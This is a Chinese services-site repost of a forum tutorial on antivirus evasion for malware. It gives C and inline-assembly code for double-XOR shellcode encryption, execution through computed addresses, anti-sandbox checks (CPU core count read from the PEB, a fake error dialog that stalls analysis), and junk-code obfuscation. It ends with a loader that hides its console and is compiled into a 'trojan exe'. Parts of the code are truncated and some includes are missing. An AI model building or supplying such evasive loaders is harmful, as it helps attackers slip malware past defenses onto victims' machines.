免杀|计算地址实现内存免杀_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

免杀|计算地址实现内存免杀

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


免杀|计算地址实现内存免杀

免杀是同所有的检测手段的对抗,目前免杀的思路比较多。本篇介绍了一个独特的思路,通过内存解密恶意代码执行,解决了内存中恶意代码特征的检测。同时提出了one click来反沙箱的思路,阐述了一些混淆反编译的想法。 原文链接:https://forum.butian.net/share/2669来源:奇安信攻防社区 作者:en0th 0x00 前言 免杀是同所有的检测手段的对抗,目前免杀的思路比较多。本篇介绍了一个独特的思路,通过内存解密恶意代码执行,解决了内存中恶意代码特征的检测。同时提出了one click来反沙箱的思路,阐述了一些混淆反编译的想法。 0x01 声明 请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。一切未经授权的网络攻击均为违法行为,互联网非法外之地。 本篇文章不涉及商业秘密,使用的技术是公知技术,可以从公共渠道学习对应技术。本文描述的技术思路具有一定时效性,但拓展性强,变化能力强,上限高,其性质更贴切于抛砖引玉、讨论学习。 商业转载请联系作者获得授权,非商业转载请注明出处。 0x02 流程 通过双重 xor 对shellcode进行加密 申请内存执行指定命令 通过计算地址执行解密函数指令后执行shellcode 效果: 0x03 免杀制作思路 1、静态免杀 杀软是通过标记特征进行木马查杀的,我们可以通过加解密的方式来隐藏我们的恶意代码。加密的方式非常多,最常用的是xor双加密,除此之外你还可以使用AES、SM4等对称加密,也可以使用SM9、RSA等非对称加密。 使用双重xor的方式进行加密,其中^6^184,6和184就是两个key。 unsigned char shellcode[] = ""; void encrypt(){ for(int j = 0;j #include int main() { printf("spotless"); asm(".byte 0x90,0x90,0x90,0x90\n\t" "ret\n\t"); return 0;} 参考:CreateRemoteThread Shellcode Injection - Red Team Notes 3、反沙箱 根据程序运行环境判断是否存在沙箱环境: 开机时间、内存大小、磁盘大小、CPU核心数量、CPU温度... 代码可以参考:CheckVM-Sandbox、anti-sandbox 这些都是自动检测,我们也可以使用主动的方式绕过沙箱,例如延迟执行、弹窗确认 弹窗确认 要求用户必须进行操作才能进行下一步执行。弹窗就是一个很好的例子,点开后不关闭或者点击确认操作就不会继续执行程序。沙箱没有自动模拟点击的情况下,程序就不会执行,恶意代码就不会释放。 #include void main(int argc, char* argv[]){ MessageBox(NULL, "文件损坏", "错误", MB_RETRYCANCEL | MB_ICONWARNING); ...} 在main函数里使用MessageBox CPU 内核数量检测 规则:处理器数量少于4个时,我们断言它是沙箱环境。 API获取 想要获取有关系统硬件和资源的信息,我们可以使用kernel32.dll中的GetSystemInfo函数。 它会返回指向 SYSTEM_INFO 结构体的指针,它的结构体定义如下: typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision;} SYSTEM_INFO, *LPSYSTEM_INFO; wProcessorArchitecture: 处理器架构(x86、x64 等)。 dwNumberOfProcessors: 系统中的处理器数量。 void CheckCPU() {SYSTEM_INFO systemInfo;GetSystemInfo(&systemInfo); if (systemInfo.dwNumberOfProcessors <= 4) { ExitProcess(61);}} 偏移获取 相对于API获取,这种方式不容易检测。 注意使用__asm嵌入汇编语言只能在x86位下编译。 主要原理是获取 PEB 结构体中的NumberOfProcessors字段值来进行判断。它在结构体中偏移量为0x64。 部分PEB偏移对应变量: ... /*058*/ ULONG AnsiCodePageData; /*05C*/ ULONG OemCodePageData; /*060*/ ULONG UnicodeCaseTableData; /*064*/ ULONG NumberOfProcessors; /*068*/ LARGE_INTEGER NtGlobalFlag; // Address of a local copy /*070*/ LARGE_INTEGER CriticalSectionTimeout; /*078*/ ULONG HeapSegmentReserve;... 检测代码实现: BOOL checkCPUCores(){ INT i = 0; _asm { mov eax, dword ptr fs:[0x18]; // 获取 FS 寄存器中的 TEB (Thread Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x30]; // 获取 PEB (Process Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x64]; // 获取 PEB 结构体中的 NumberOfProcessors 字段值 mov i, eax; // 将 NumberOfProcessors 值赋给变量 i } return i <= 4; // 返回是否处理器核心数量小于或等于 4 } PEB结构体可以看:PEB结构 4、混淆反编译 垃圾函数 顾名思义,我们可以在shellcode加载器里添加各种垃圾函数。这些垃圾函数最好对堆栈有较大的影响,在我们学习C语言时最常见的就是排序,下面列举了快速排序和冒泡排序。 void quickSort(int arr[], int left, int right) { int i = left, j = right; int tmp; int pivot = arr[(left + right) / 2]; while (i <= j) { while (arr[i] < pivot) i++; while (arr[j] > pivot) j--; if (i <= j) { tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; i++; j--; } } if (left < j) quickSort(arr, left, j); if (i < right) quickSort(arr, i, right);} void bubbleSort(int arr[], int n) { for (int i = 0; i < n - 1; i++) { for (int j = 0; j < n - i - 1; j++) { if (arr[j] > arr[j + 1]) { int k = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = k; } } }} 然后我们在代码中以代码块的方式贴入垃圾代码。 void main() { { int huaarr[] = { 12, 12, 15, 11, 1, 10, 13 }; int huan = sizeof(huaarr) / sizeof(huaarr[0]);  bubbleSort(huaarr, huan); } // // 这里输入自己的代码 // { int huaarr[] = { 12, 12, 15, 11, 1, 10, 13 }; int huan = sizeof(huaarr) / sizeof(huaarr[0]);  bubbleSort(huaarr, huan); }} 0x04 代码 使用该代码的流程: 使用加密函数加密shellcode 将shellcode填充到"\xe8\x2b\x10\x06\x00"字符常量的后面 编译生成木马exe #include #include #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏控制台 typedef void (*CODE)(); /* length: 844 bytes */ //0xe8, 0x2b, 0x10, 0x06, 0x00,... unsigned char shellcode[] = "\xe8\x2b\x10\x06\x00"; PVOID p = NULL; void decrypt(){ //解密Shellcode for(int i = 5;i

免杀|计算地址实现内存免杀